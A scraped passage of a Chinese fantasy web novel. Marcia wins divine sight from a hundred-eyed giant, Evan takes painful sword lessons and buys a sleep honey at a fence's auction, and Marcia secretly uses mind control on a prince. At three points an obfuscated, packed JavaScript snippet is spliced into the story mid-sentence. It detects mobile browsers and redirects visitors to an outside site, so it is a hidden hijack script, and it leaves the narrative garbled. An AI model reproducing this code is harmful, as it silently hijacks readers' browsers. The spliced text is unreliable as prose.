她开始把大量的魔力汇聚在双手，指尖飞出丝线一样的火流，以火焰编织成网，绑向对方。 她打算限制对手的动作，然后再近身肉搏。 是的，这是她唯一想到的破局方法，因为，她注意到复制品尽管有着和自己一样的魔法招式以及攻击强度，它的身体却似乎是由密度更低的什么东西组成。 像个……粗糙的样品。 她是个魔法师不假，必要时也可以发挥生物的原始本能，用拳头和冒牌货一决胜负。 思路成形，说做就做。玛西亚不断靠近对方，张开火网，同时自己也被滚烫的火焰捆扎。她不顾疼痛，一拳砸向那张和自己很像，却更漂亮的脸蛋。 当然，玛西亚也被狠狠打了一拳，但是没关系，它的力气果然不如自己。紧接着是第二拳、第三拳。 “砰！砰！砰！” 拳风呼啸，碰撞声响个不停，玛西亚整个口腔都被甜丝丝带血的口水糊住，一阵头晕目眩。 但是，对方更惨。 它如未彻底风干的泥塑那样，五官通通被打歪，玛西亚的最后一拳更是直接陷进对方的脸中，她拔出手的时候，还发出了“啵”的一声。 构成其身体的，是些脆弱粘腻的半固体，徒有其表，不堪一击。 玛西亚把融化消失的对手扔到一边，问百眼巨怪：“这下满意了？可以把奖励交给我了么。” 巨怪的眼睛骨碌碌地转动，似乎在思考。试想一百只眼睛同时无序地乱转，眼珠还并不往同一个位置看，那涣散失焦的眼神会是多么诡异的场景。 “咕噜……咕噜……” 战斗是玛西亚擅长的，却不是这个问题的答案。她不得不压下愤怒，转而沉思。 巨怪不会说话。 眼睛，它是只有眼睛的怪物。 玛西亚想起了被安东尼奥驯化，用来守卫报告的力鼠西西。这个沉默的百眼巨怪也很像是某种锁具，在这儿看管着神明的遗赠。如果能够理解它的想法，或者解释它的习性，应该就可以打开这道锁。 只有眼睛的怪物会想些什么？ 只有视觉的怪物需要什么？ “你喜欢‘观看’别人打架？这些精灵性格太太温和了，你感觉没意思，对么。” “或者，你喜欢‘观察’我与复制品之间的区别，找不同，这是你的游戏？” 她开始胡乱地猜测，当然得不到回答。 趁玛西亚苦思冥想的空档，巨怪又开始抖动，眼睛里交替透出红色和绿色的光，然后，目光汇聚处，重新出现了一个人形。 它更为美貌，几乎是以玛西亚的发色、瞳色、肤色为关键词，造出了一个与她无关的美女。 “难道，这是你眼睛里的我？” “难道，这是你眼睛里的我？” 她不攻击，对方也不会攻击。并且，除却又变漂亮了，这个复制品哪里都没有增强。 玛西亚困惑地摇了摇头，默默坐下来，它便像影子一样坐在了她的旁边。 金色的云层上，百眼巨怪、真实的玛西亚和她美丽的复制品，三者并排静坐。 天地俱寂，一切的感官都仿佛消失了，只有视觉还在工作。 她看向巨怪，巨怪也看她，一百只眼睛如镜子被打碎的残片，映出她平凡的脸。视线交汇的瞬间，巨怪蠕动着缩了缩。 她忽然想到了另一种可能：“你是不是很紧张？你很在意他人的注视，对么？” 巨怪不语，依旧是复制品在学舌。 “你……紧张？……对么？” 复制品发出回音一样的声响。 玛西亚暗暗地想，这只怪物说不定是创世神观察世界的眼睛，创造世界时的辅助标尺。它做出一个更漂亮的玛西亚，并非为了嘲笑她不美，也许正相反，它好心地给她提供了一个“修改意见”。 就好比新手画匠学徒，第一次绘制壁画时，旁边总有个帮他出主意的人，或是老师，或是同学，告诉他线条歪不歪，色彩有没有用对。 某种意义上说，巨怪的品味很大众，它造出的复制品是字面意义上的好看。 好看……视觉…… “但我不需要好看。我也不用改进。”她朝复制品扬了扬拳头，半是威胁，半是玩笑，对巨怪说，“你让它回去吧。不然会被我再砸扁一次。” 巨怪突然开始痛苦地哭泣。 玛西亚窘迫地僵住，她向来看不得别人在自己面前哭泣，何况是一百只眼睛同时流泪，庞大身形与细腻丰沛的情感形成强烈对比，就好像欺负了一个不懂事的大号儿童。 她有些招架不住，“你别哭啊……” 巨怪的泪水如洪，玛西亚完全没有战斗的想法了，她换了更温和的表达方式：“好吧。我不该二话不说就直接动手。我并非‘不需要’你的建议，我只是想说，我对自己很满意。” “咕噜……咕噜？” 一瞬间，她竟能领悟这些含糊音节的含义，忙回答它：“是真的。神把我造成这个样子，我非常满意。再漂亮一点就有点过了，我怎么可以这么贪？对吧。” 玛西亚想通了，她是来和创世神讨赏，干嘛要打架？真够莽的，竟在天国乐园挥拳！都怪卡尔把她气昏了头。 巨怪激动地膨胀变形，在云层上弹跳。紧接着，陌生的画面一幕幕地钻进了她的脑海中。 是神明。 祂很年轻，亦或者并不年轻，因为时间还没有被发明。 没有出发点，也没有目的地，神魂在茫茫黑暗中漫游。直到有一天，祂动心起念，睁开了眼睛。 第一个世界。 第一个世界由五片大陆和一片汪洋组成，天上有日月星辰，地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15122073|162042||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上有飞禽走兽。祂把神力分给了十位新神，赋予他们权柄。祂创造了六个不同的智慧种族，令其繁衍生息，形成文明。 玛西亚能感受到这一时期的创世神非常快乐，虽然缺乏计划，不够严谨，可祂发自内心地爱自己的造物，享受创造天地的过程。 可是，这个世界出现了谋逆者，一位新神堕落，竟想杀死自己的母亲，篡夺祂的神力。 眼前的景象快速地切换到末日战场。 创世神淡金色的血液正从胸口的伤痕中汩汩涌出。世界在神、魔、六族人类的大战中彻底毁灭。创世神的一部分神魂永远地坏死。 “这个世界不好。” 陪伴祂的只剩下帮祂记录、观察的百眼巨怪。 “要不断改进，直至完美。” 第二个世界。 这次，一切都脱离了祂的预期，越追求控制，就越走向失控。不断出差错，神明焦虑、愤怒，世界在半成品阶段便分崩离析。 祂不得不强迫自己停下。创世神仿佛变成了石头，一动不动，什么也感觉不到，什么也做不了。神明陷入了漫长的休眠。 第三个世界。 创世神疲惫不堪，苛刻的习惯伤害了自己，祂变得虚弱，祂成功把所有快乐的事都变成了痛苦。 神明蜷缩在百眼巨怪的怀里：“其实这个世界还不错，对吧。” 巨怪不停流泪，用泪水安慰祂。 祂释怀得太晚。 祂令天国精灵向人间撒下代表幸福的花瓣，数千年后，为了对抗疾病，创世神又把神力，也就是魔法，随机地分给凡人：“一切都要靠你们自己了。” 创世神笑了笑，坏死的神魂不断侵蚀祂的意志，新的魔王以“死寂”为名诞生。 然后，祂静静躺在这里，等待自己的终结。 玛西亚诧异地看着这位神祇。 她其实不是很理解。但她用手轻轻地擦去巨怪的眼泪，坚定地说：“这是唯一的世界，这是最好的世界。” 即便有不圆满的部分，那也是人类该自己去努力的事。正如母亲只能给你生命，不该替你去完成人生。 漂亮的复制品也重复玛西亚的动作与话，只不过，话没说完，它便被巨怪吸收。 巨怪的眼睛次第熄灭，光芒飞入玛西亚青绿色的瞳孔，她一下子什么也看不见了，再睁眼时，她看到了更多。 巨怪把创世神的礼物交给了玛西亚。世界的本来面目呈现在她的面前——她拥有了神明的视觉。 她看到了魔力在自己的血液中奔流。 她看到了神力在空气中飘动，宛若一滴墨水滴落在水中，留下清晰的扩散痕迹。元素魔法、空间魔法与精神魔法都是同一种东西。 这是一个真正的奖励，神明没有糊弄她。 “这是不是意味着我可以学会使用其他属性的魔法？” 巨怪没有再发出声音。 它已经很累、很累，闭上所有的眼睛，陷入永恒的沉睡。 30. 非常疼痛的教学 埃文在经历他此生最大的折磨——和潘学习剑术。 不仅因为这位经验的丰富的佣兵剑圣武艺高强，一上就以极高的标准要求他，更因为这个人的嘴完全停不下来。 “为什么有的人年纪轻轻就可以找到真爱，有的人却一直没有女人缘？为什么！” 埃文费力地挥舞木剑，挡住潘劈头盖脸，密不透风的攻击，然后试着回他：“也许您应该先放平心态，太渴望的话，会让对方很有压力……” “你就是靠心态好才被玛西亚看上的么？” “啊，哈哈，也许吧。” 埃文苦恼地想，他哪里被玛西亚看上了？玛西亚对待他就是对朋友的欣赏态度，加了队友之间的信任，以及……怜爱。 因为他是个微不足道的小人物，没有见识，性格也不够成熟，玛西亚偶尔会露出大姐姐一样的神态，她很照顾他。这远远不是女人对男人的那种喜欢。 又是一击重剑削过来，埃文忙用潘刚刚教他的招式，后撤半步卸力，再双手持剑反搅过去，朝着对方的破绽一刺。 潘笑了一下：“太明显的破绽都是陷阱。至少，我这种水平的对手，不会犯低级错误。” 说罢，他一个闪身，手腕灵活地一转，“啪”地一声打落了埃文手中的剑。 埃文有些受挫，但转念想自己就该跟厉害的老师学有用的东西，这样才能稍微帮玛西亚一点忙。学习剑术对他来说有着重要的意义，即便武艺已经不如前魔法时代那样珍贵，依然是一种可靠的本领——等玛西亚到了怀特兰，作为真正的领主，总需要一些几个手下。 如果剑术出众，就可以名正言顺地留在玛西亚身边，继续为她效劳。 是的，效劳。没资格爱她的话，至少他年轻，有力气，可以为她工作。 “砰——” 他被潘的木剑狠狠拍了一记。 “你不太专心啊！” 潘不满地抱起手臂，盯着埃文看了一会儿，突然发出一声怪叫：“可恶！你不会在想念玛西亚小姐吧！我的天，我的天！我真是受够了。以后绝对不接任何情侣发布的任务！” 羡慕变成了嫉妒，嫉妒使潘面容扭曲。他沮丧地转头，走到训练场的角落，往地上一坐，宣布休息一刻钟。 “老师，抱歉，我一定不会再走神了！” “哈！别承诺做不到的事！”潘气呼呼的，为不争气的学生，更为没有人爱的自己。 “说起来，您喜欢的人是怎样的性格呢？” “你真是很会寻找话题。”潘冷笑着，却不知什么时候掏出了一条盒子项坠，椭圆形的外框可以打开，里面有一张小小的魔法肖像，一个深灰色头发的女人在微笑着眨眼睛。 “福克斯收了我一百银币，帮我做了这个火焰幻象。事实上她从来没对我这样笑过，我让福克斯把幻象做得再真实一点，嘴角要向下，眉毛要高挑些，表情要凶。他居然说做不到，他只有这个水平……” 埃文觉得两个人都离谱。 哪有喜欢看心上人冷脸的家伙，以及，福克斯真是什么钱都敢赚。 “跟我说说吧，老师。”埃文喜欢听故事。 “唔，大概在我十七岁的时候，带我的佣兵队长死了。他死了也是件好事，那个人实在贪婪吝啬，赚十个子儿，恨不得只分给底下人一个子儿，但他实力强悍，在没有魔法师的情况下依然能带我们杀死预言蛛这样的大型魔物，预言蜘蛛腿上的鞭毛可以让人做预知梦，一直是紧俏的商品。” “预知梦？就和福克斯的占卜一样么？” 潘生又气又笑：“漂亮的小傻瓜，福克斯向你展示的所有本领，都是最浅表的东西。” “那您还付他三百银币……”埃文小声嘀咕了一句。 潘无奈道：“因为只有他这种没受过正式教育的魔法觉醒者会接这些边边角角的工作啊！我倒是想请魔法学院出来的厉害魔法师给我做个更精致的幻象，又哪里够得着人家。玛西亚小姐倒是好说话，但她那时就要上战场了，我不好意思耽搁她的时间。” 听到玛西亚的名字，埃文忍不住想打听她的过去，不过，他控制住了。 一方面他不想在人前显得和玛西亚没那么熟，露出破绽，另一方面也是为了不再刺激剑术老师敏感的神经。 潘继续讲他的故事：“总之占卜是一门真正的学问，有人可以在预言蜘蛛的帮助下，做特定的预知梦，非常灵验。” “这和您喜欢的人有什么关系呢？” “你别急，我马上就要说到她了。”潘看着项坠里的女人，陷入回忆，“佣兵队长没有相好，也没有子女，我和几个同伴就把他的遗物分了分，我得到了一根暂时没有找到卖家的预言蛛鞭毛。然后，我梦见了艾薇。在梦里，她在挨丈夫的打。” “等等！她有丈夫？” 潘不以为意：“那怎么了！” 埃文老实地收了声：“没怎么！请继续……” “我本来不觉得她和我有什么关系，但后来我发现我只会做这一个预知梦。一闭上眼就梦见她，真是怪了！所以我就按照梦境里的风景，在贫民窟找她。真的有艾薇这么个女人，而她的丈夫也跟梦里一模一样，是个只知道喝酒赌钱打女人的废物。” 潘生气地哼了一声：“所以我就把那个男人揍了一顿。我心想，这个梦是教我去行侠仗义吧！结果，艾薇并不高兴，她用扫帚把我轰了出去。” “啊？好吧。呃……可以理解。” 埃文猜测，也许对艾薇来说，没有丈夫是比被丈夫打更恐怖的事。 单身的女人在贫民窟，要靠什么活下去呢，他不敢深思。 “埃文，别小看艾薇。她并不是那种被丈夫打丢了自尊心的贱骨头。” 潘有些骄傲地说出真相：“她嫌我打乱了她的计划，艾薇本来是想慢慢毒死那个烂人，把他叔叔留下的‘藏宝图’拿到手再亲自动手的。我直接就把人打到只剩一口气了，那怎么行！” 埃文吃惊了一瞬，随即哈哈大笑：“我明白了，您本来以为她是弱者，结果她不仅积极自救，还心狠手辣，有勇有谋，您一下子就被她迷住了！对不对！” 潘承认埃文说得没错，但被直接说破还是有些难为情，他咳嗽了两声，清了清嗓子：“总之，这死鬼男人有一张藏宝图，是他叔叔从哪里偷来的。艾薇最后还是弄到了手，我呢，也决定为了这笔横财加入艾薇的计划。” “藏宝图是真的？” “是真的。福克斯会一点外语，好吧，这个老滑头什么都略懂一些，他翻译了这张藏宝图。我便护送艾薇去了一趟边境地区，挖出了一箱子……” “金币？珠宝？” “你这个小笨蛋。这种东西藏在自己家院子里不就行了，还画什么藏宝图。” 潘故意顿了顿，勾起埃文的好奇，过了一会儿才说：“是魔壤，金色的土，魔法材料。艾薇把它卖掉了，大赚一笔，在这之后，她付了我工钱。” “然后呢？” “继买卖魔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15130836|162042||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 法材料咯。魔法师会花大价钱买一些平常人用不着的玩意儿，不一定多稀有，但收集起来麻烦。艾薇发现了商机，又聪明敢闯，生意还不错，日子也算好起来了。偶尔她会给我一些活儿干。” 埃文：“……” 为什么会有种同病相怜的感觉。 潘拍了拍埃文的肩膀，用艳羡的语气说：“所以你这家伙很幸运呢！爱上了一个女人，她也愿意爱你。可我呢？唉，为什么！做了那种预知梦，艾薇就该是我命中注定的恋人啊！！” 潘开始哀嚎。 埃文同样在心中哀嚎，他也想知道到底该怎么让玛西亚爱上自己。 过了一会儿，埃文冷静下来，理好了思绪，对潘说：“老师，没有那么多命中注定。” 现实不是浪漫小说，爱少见且珍贵。 “并没有哪个女人是为了做我们的伴侣而生的。所以您不能抱着目的性去爱她。尽力做好能做的事，然后，等待她的选择，尊重她的决定就好。” 说完，埃文捡起了木剑，提醒老师休息时间结束，该继续上课了。 潘一愣。 “行啊，你竟是位情感专家！看剑！” “哎！诶哟！老师！您这根本是在单方面地打我吧！” “是的，挨打是习武的必经之路。” “真的么！”埃文大声呼救，“老师，您别骗我。” “相信我，埃文。当你记住所有导致疼痛的错误动作，身体就会自动习得有效的招式。错，就是对。” 竟然很有哲理。 但是埃文已经无法思考了，强壮的身体只是一堆未经加工，也没能组装起来的原木，在潘精湛的技艺面前毫无作用。埃文每一寸可以感到疼痛的地方都在疼。 一节课后，他几乎是爬着回到了室内，按玛西亚说的，找到钥匙，取出钱，付了学费给潘。 女仆苏珊错愕地看着他，不由问：“贝克尔先生，您不要紧么？要不要叫医生来？” 埃文感谢了她的好意，说：“没关系的，苏珊。老师很有分寸，我只是疼，并没有真的受伤。” 苏珊狐疑地说：“那好吧，不过我建议您别太拼，等公爵回来，她该多心疼您啊！” 埃文说：“谢谢，我知道了。” 看来他们这对假情侣已经骗过了所有人。连最近距离的观众都没看出他们的破绽。 课时费到手后，潘问埃文：“要不要去暮星酒馆喝一杯？” 埃文露出死狗一样的惨笑：“放过我吧，老师。” 潘耸耸肩：“那好吧。福克斯搞了个小型拍卖会，我还说带你去看看。” 埃文拒绝得更加坚定：“我不会再让福克斯赚我的钱。绝不！” “哈哈哈，看来你吃过亏了。” 潘却继续诱惑他，“但是这次不同。他偶尔也有好东西。听说有瓶眠罗花蜜，那东西有钱也不好买。你不妨把它拿下，这样晚上就不会因为肌肉疼睡不着觉了。对接下来的训练有好处。” 埃文准确地听到了最关键的几个字。 “眠罗花蜜？福克斯怎么会有那种东西。” “这个么……”潘压了压嗓音，说，“他是王都所有扒手、小偷、流浪汉的好朋友。” 好吧，埃文心想，自己又不是什么品行高尚的骑士，说出去的话当然可以不作数。就让福克斯赚这个钱吧，只要能问出点儿有用的消息。 “我改变主意了。稍等，我换身衣服，这就很您一块儿去酒馆！” 31. 需要休息的殿下 尽管苏珊什么也没有问，埃文还是忍不住为临时外出向她解释：“我不是去喝酒，也不是去找女人。去去就回！” 苏珊无措地应了一声。公爵的小男朋友有点儿太乖了，让她不太适应。 在服务玛西亚·布莱斯公爵之前，她在纹章官希尔顿子爵家做事，那家里才叫乱套呢！一栋别墅里养着四五个情人，男主人风流得像只发情的狒狒。女主人痛苦又嫉妒，既无法睁一只眼闭一只眼，也无法彻底失望，脾气变得很怪，爱拿底下人撒气。 说起来，在玛西亚·布莱斯公爵的宅邸做事，还挺轻松的。 要不然，别再把宅邸里的情况告诉希尔顿子爵了吧？琳达被辞退后好像也没得到补偿和好处。 她想了想，在空白信纸上写下：一切如常，无事发生。然后封好口，交给了门房。 “苏珊，那个信差在追求你，对么？我看他经常来找你。” “您别说笑了，我是给老家去信，托送信的小哥帮我寄钱回去。” “哦哦，这样啊。那是得跟他打好关系。没个信得过的人，钱一撒手就没。” 苏珊笑了笑，说：“可不是。” 暮星酒馆。 埃文第二次走进这草莽英雄扎堆的灰色世界。没有玛西亚的陪同，落在他身上的目光一下子多了起来。 他定了定神，不去理会别人的审视，找了个靠窗的位置坐下。 福克斯的第一件拍品是一条蕾丝手帕，精美又轻软，是贵族小姐才会用的那种手工棒槌蕾丝。 他把这条手帕夸得天花乱坠：“别小看这一方小小的手帕，有神奇的魔力织在里面！它能让你得到美女的青睐！” “拉倒吧！福克斯！谁稀罕这别人用过的手帕，要我说你指不定是从街上哪里捡的。还美女的青睐哩！” 福克斯不以为意，脸皮很厚地说：“那也是好东西。” 第二件拍品是鎏金相框。第三件拍品是象牙手持镜。第四件…… 总之，埃文看明白了，福克斯的拍卖会根本是一场销赃会。金首饰被钳子剪成了好几段，一整串珍珠项链被拆散了卖，卖料不卖工，价格大跳水，来路似乎都不太光彩。 但是这里的人不介意。 都已经落在福克斯手里了，单看价格合不合适就够了。 他终于等到了紫色的花蜜。说实话，埃文不确定那是不是亚当的，眠罗花蜜虽然稀罕，也不该整个王都只有一罐。 可是，当那抹幽幽的紫色出现在他面前时，埃文心里产生了强烈的直觉。他莫名觉得玻璃罐子简洁的造型放在斯黛拉小姐的厨房里很搭。而那天在郊外，她也穿着这种紫色的衣服。 “货真价实的眠罗花蜜！让你的腰伤、腿伤、嵌在肉里没能取出来的箭头……通通不再隐隐作痛！只需要指甲盖那么多，化进水里喝下去，你的身体就会轻快得像刚被生出来似的！” “别扯啦，福克斯，你那根本是染色的吧。怎么会有这么多眠罗花蜜。” “就是！除非你挖一勺子出来，让我们尝尝，鉴定下真伪。” 福克斯翻了个白眼：“不信别买！底价是五十个金币。” “五十金币？你疯了！” “只是止痛而已，又不能救命，不值！不值！” 疼痛是人们共同厌恶的感觉，但彻底消除疼痛，又太奢侈了。跟五十个金币相比，眠罗花蜜的作用实在不够打动人心。花蜜又不似其他东西，可以一看就知真假。 这件商品竟没人叫价。 埃文默默举起了手，说：“十个银币。” 福克斯燃起的希望被他浇灭：“哦！十个银币！十个银币！你还不如不出价呢，残酷的年轻人！” 可福克斯却在抱怨之后，选择了成交。 这使埃文更加意识到，福克斯应该对眠罗花蜜知道些什么。于是他耐心地等待拍卖结束，走近福克斯，小声问：“福克斯，告诉我吧，你是从哪儿弄来这罐花蜜的。为背后的消息，我愿意付给你五十个金币。怎么样？” 福克斯逃避地笑笑：“我什么都不知道。” 埃文上前半步，拦住他的去路，认真地说：“就当我无意听到了你醉酒后的自言自语，然后，我又不走运，掉在地上一袋子钱。这样可以么？” 他不清楚该怎么和福克斯这样的人打交道，但有本小说……算了，不提也罢。福克斯不是什么高级的情报商人，他也不是什么智力出众的间谍。埃文只是模仿了故事里故弄玄虚的一段台词。 福克斯眨了眨眼。摇摇晃晃地离开酒馆，埃文喝了杯加香蜜水之后，也不做逗留，跟在他身后出门。 两人一前一后绕到了无人的小巷，埃文俯身，把满满一袋子钱放在了福克斯脚前的石砖上。 “我记得是……贝克尔先生？” “叫我埃文就可以。” “好的，埃文，走运的家伙！玛西亚爱上了一个漂亮男孩，真让人大吃一惊。她是那种别人跑来恭维她，反而还要皱眉头的严肃女人，人们都说，没法跟她开玩笑。真没想到她会恋爱啊！” 福克斯捡起了钱袋，掖进怀里，说着与主题无关的话。 “那一定是他们开的玩笑有问题，玛西亚对人很和善的。”埃文维护玛西亚，不许话里有一点贬义。 “好吧，好吧。”福克斯突然对着冷空气笑了笑，吐出浑浊的酒气，“看来你真的爱上她了。” 埃文心里慌乱，他不喜欢这种被人看穿的感觉，这无疑在提醒他，自己只是个冒牌货，却管不住自己的心。 “所以花蜜？”他记得正事，忙把话拉回来。 “说起来，最近城里来了不少贝索人。他们的打扮可真稀奇！男人打耳环，满身金子，女人呢，用彩绳箍着额头。” 埃文默默记住，用聊闲天的口吻继续问：“大老远来亚斯特，是为了做生意，对么？” “才不是呢，埃文。贝索人哪懂做生意。”福克斯打了一个又长又响的酒嗝，喷出了一团螺旋绽开的火，明亮的火焰照亮了黑暗寂静的街道，“好像是个贝索人大官儿带着仆人旅行，我瞅着是这么回事。” 埃文赞叹：“这个魔法虽然滑稽，但真漂亮啊，像在用嘴唇施放烟花。” 玛西亚也会这个魔法。 福克斯愣住了，紧接着，他哈哈大笑：“说什么呢！把漂亮话留给恋人，跟我这么个小老头说这些不肉麻么！” “好吧。” 他说了声谢谢，准备返回公爵宅邸。却听福克斯在背后叫他，提醒了一句：“埃文，你还是得想办法，不能总花玛西亚的钱。男人要尽量有本事一点儿。” 埃文一愣，心想这可真是句善意的良言。当然得有本事一点，不然，她凭什么非得爱你呢？ 福克斯的语气和刚才吊儿郎当的状态完全不同，语重心长，又没那么居高临下。 再回头时，埃文只看到福克斯佝偻的背影，踉踉跄跄地走远，他明摆着不想跟埃文多说，就好像聊这些很跌份似的。 他是个名声不好的吟游诗人，多才多艺却样样不行的混混，真诚会令他害羞。 埃文想到玛西亚说的，魔法天赋随机觉醒，并不是每个人都有条件进入 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15140638|162042||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 魔法学院深入学习。若有更好的出路，什么都略懂一点的福克斯未必只能混成一个老滑头。 “谢谢你，福克斯。” 他揣着眠罗花蜜，在夜雾中快步回家，思索该怎么进一步打听贝索人的消息。 镜湖庄园。 玛西亚离开了毯中世界，也就是天国乐园，回到卡尔的身边。 她刚要开口，撒一个小谎，卡尔就先一步张开双臂，快速地揽向她的双肩，用力抱住了她，像一个沉重的捕兽夹：“你没事就好。” 玛西亚身体被迫前倾，他的怀抱冰冷，丝绸袍浸透了凉风。 玛西亚尽量控制自己，别像被踩了尾巴的猫那样发出尖叫，并伸出爪子给他两巴掌。 她后退半步，猛力挣脱出来：“我没事。殿下，实在很晚了。我想您需要休息？” “对不起。”他低低地说出令玛西亚错愕的话。 道歉。 卡尔居然会道歉么？ 他垂头丧气，又勉力拿起精神：“我害你被困在不知道什么地方。是我的错，真的很抱歉，玛西亚。” 听对方说“对不起”，玛西亚几乎下意识就要说“没关系”，事实上也没关系，她不仅没收到伤害，反而得到了神明的遗赠。 但玛西亚没有这么说。 她长久地盯着卡尔，试图从他的失态中找到刻意表演的痕迹，做出正确的反应。 走廊里四处流淌着魔法能量，卡尔似乎把自己会的感知类魔法全都用了个遍，空气里全是白色的微光，他一个人在这里抓狂了很久。 玛西亚深吸一口气，她猜到一种可能，那就是卡尔并不知道自己在这场阴谋中扮演什么角色。如若明知道追求玛西亚是为了得到她的血，为了让她死，卡尔还能露出这种害怕失去她表情，那他……挺厉害。 卡尔的话语打断她的思索：“玛西亚，你总是看到我最无助的时候。” 玛西亚干巴巴地笑。心想，这明明是她最无助的时候。 “也许你不曾发现自己有一种把人逼疯的天赋。你不恐惧，不害怕，不哭，不发出任何软弱的声音。包括现在，有情绪也不发泄，只是紧抿嘴唇。你知道这多让人……” 他顿了顿，说出一个让玛西亚觉得匪夷所思的词：“着迷。” “我确实比较沉闷，不爱说话。” “我不介意。玛西亚，我只是想让你知道我真的很在乎你。” 哦，他说他不介意。 “谢谢。”玛西亚陡然清醒过来，卡尔确实没说谎，但这么一点真心也实在拿不出手。他一直在说自己的感受，他在着迷，他在无助，他在歉疚。 他说他爱她，也许吧，在玛西亚失去挑战性之前，卡尔对她的爱情一定不会消失。 她令自己深呼吸，找到礼貌的语调，“殿下，您该回去休息了。” 说罢，她选择违反游戏规则，悄无声息地对卡尔施加了精神控制。这不是人类的魔法，初次尝试，玛西亚不知效果如何，按自己的理解半猜半蒙地用出来，施法很保守。 她给了他暗示，在他原本的情绪基础上推了一把：“您看上去疲惫极了。很累，很困，对么？” 她的语声飘渺，好像有什么东西阻隔在两人之间。 卡尔张了张嘴唇，本想再说些什么，心里却认可玛西亚的话。想让不喜欢他的人多看自己一眼，真的好难。改变别人的意志犹如翻越世间最高的山，糟糕的是他一开始就站在谷底。 该死，又要被父亲说是没用儿子了。 “是的，玛西亚，我很累，我需要休息。” 32. 质量堪忧的睡眠 半夜摸进熟睡淑女的卧室真不是什么好行为，玛西亚自己都觉得自己鬼鬼祟祟。 她轻轻迈步，不点火，纯靠神明赐予的视觉洞悉一切，绕开梳妆镜，绕开装饰过度的铸银烛台，绕开摆着熏香的金盘，终于摸到了四柱床的边缘。 她挑开帷幔，轻轻呼唤：“斯黛拉，斯黛拉！” 玛西亚发现斯黛拉的魔力是暖黄色的，有点像姜黄色，笼罩在她周围。而喉咙处的风魔法痕迹亦十分清晰，魔力像一道绞绳似的缠在她的脖颈上。 她伸出手，想直接撤掉这股魔力，忽又想到什么，没有立刻行动，手停在半空。 斯黛拉因心神不宁睡得很浅，当她感觉有人坐在自己身侧，立刻大睁开眼。倒吸了一口气，低声质问：“是谁？” “是我，是我。”玛西亚在黑暗中柔声说，“斯黛拉，我们抓紧时间。我想到了一个破解禁言术的办法。” 玛西亚没有跟斯黛拉提过安东尼奥的报告。此刻，她来不及解释，也不想透露自己从神明那里得到的能力。 秘密可以让陌生人拉近关系，但在朋友之间，共享秘密意味着共担危险。 玛西亚希望斯黛拉不知情。她不想把身边所有的人都带到阴谋诡计中，她会忍不住思虑，无法专注。 和她一起担惊受怕、绞尽脑汁的人，有埃文一个就够了。埃文明确的自愿态度让玛西亚感到安心。毕竟，他们是清清爽爽的雇佣关系。 不，好像也不是这样？她无端觉得雇佣这个词不合适，但现在不是搜肠刮肚，寻找合适措辞的时候。 “什么办法？”斯黛拉问。 “火焰幻象。” 玛西亚捧出一小朵火苗，在左手手指尖传递，像马戏团的艺人在变戏法，红亮的痕迹在幽暗的空气中留下残影。 “民间有很多魔法师用火焰幻象制作活画。这个魔法没什么攻击性，我一直不太把它当回事。但现在你说不出话，用这个正好。” “它能呈现细节么？”斯黛拉有所顾虑，“幻象会很模糊。” 玛西亚却说：“我可以参考古代魔法师的做法，现在，你当我是个‘灵媒’。让我们先试验一下。” 她用右手攥住斯黛拉的手，直勾勾盯着朋友的眼睛，仿佛要透过这双眼睛，看到她的灵魂。 玛西亚沉声引导道：“回忆你爱的人。你很想念亚当，不是么？” 斯黛拉的瞳孔颤动着，与亚当一起度过的春秋冬夏在脑海中浮现。 亚当是个好脾气的男人，比斯黛拉大一岁，他了解有关土地与植物的一切，性格纯良温顺。 他们因共同爱好相识，每次见面，要么在菜圃，要么在花田。 从某天开始，他的眼睛不再盯着花看，而是转向斯黛拉。他本该在被斯黛拉发现之前挪开视线，瞥向别处，可他有些笨拙，有些青涩，每一次偷看都被斯黛拉抓到。 “好啊，原来你是个色鬼。”斯黛拉有股富家小姐蛮不讲理的混劲儿，揪着他的错，凶巴巴地问，“看着我的脸，心里在想什么坏事？” “不！我没……对不起。”亚当认错的速度让斯黛拉发笑，她问他：“你干嘛这么老实，否认就好了呀。或者夸夸我的容貌，说你情不自禁，说你就是想看我。” 亚当把头低埋下去，重新去弄花。 斯黛拉不高兴地扯住他："这花比我好看？"她逼近，鼻尖快要撞上他的脸。 亚当后退撞上藤架，跌坐在地，花瓣簌簌落进她发间，"您、您更……" "更怎样？"她咬住他不放。 “更美。”他大着胆子伸出手，摘掉落在金发上的紫色花朵，轻轻碰到她的发梢，“斯黛拉小姐更美。但……我们是不一样的人。” 然后，斯黛拉笑了。 “我们有什么不同？”斯黛拉问亚当，“魔族会在吞吃我们之前分别我们的血统么？亚当，你个笨蛋。” 